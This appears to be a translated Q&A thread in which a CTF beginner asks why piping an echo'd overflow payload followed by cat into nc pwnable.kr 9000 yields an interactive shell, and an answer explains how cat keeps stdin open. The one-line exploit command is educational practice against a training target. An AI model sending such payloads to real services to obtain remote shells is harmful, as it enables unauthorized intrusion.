我从玩 ctfs 挑战开始,遇到了一个问题,我需要将漏洞利用发送到二进制文件中,然后与生成的 shell 交互。我找到了一个解决这个问题的方法,看起来像这样:
(echo -ne "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\xbe\xba\xfe\xca" && cat) | nc pwnable.kr 9000
含义:没有“cat”子命令,我无法与 shell 交互,但有了它,我现在可以将命令发送到生成的 shell 并将返回的输出获取到我的控制台标准输出。
那里究竟发生了什么?这个命令行让我感到困惑
回答1
如果您只是在命令行中输入 cat
,您将能够看到该命令一次仅将 stdin
复制到 stdout
一行。它将继续执行此操作,直到您使用 Ctrl-C 退出或使用 Ctrl-D 发送 EOF。
在此示例中,您在成功打印有效负载后立即运行 cat
(连接符 &&
告诉 shell 只有在第一个命令的退出代码为零时才运行第二个命令;即,没有错误)。因此,在您按上述方式终止远程终端之前,远程终端不会看到 EOF。当它通过管道传送到 nc
时,您输入的所有内容都会通过 cat
发送到远程服务器,并且它发送回的所有内容都会显示在您的 stdout
上。
所以是的,实际上你最终得到了一个交互式 shell。通过运行 cat | sh
,您可以在自己的机器上获得几乎相同的效果。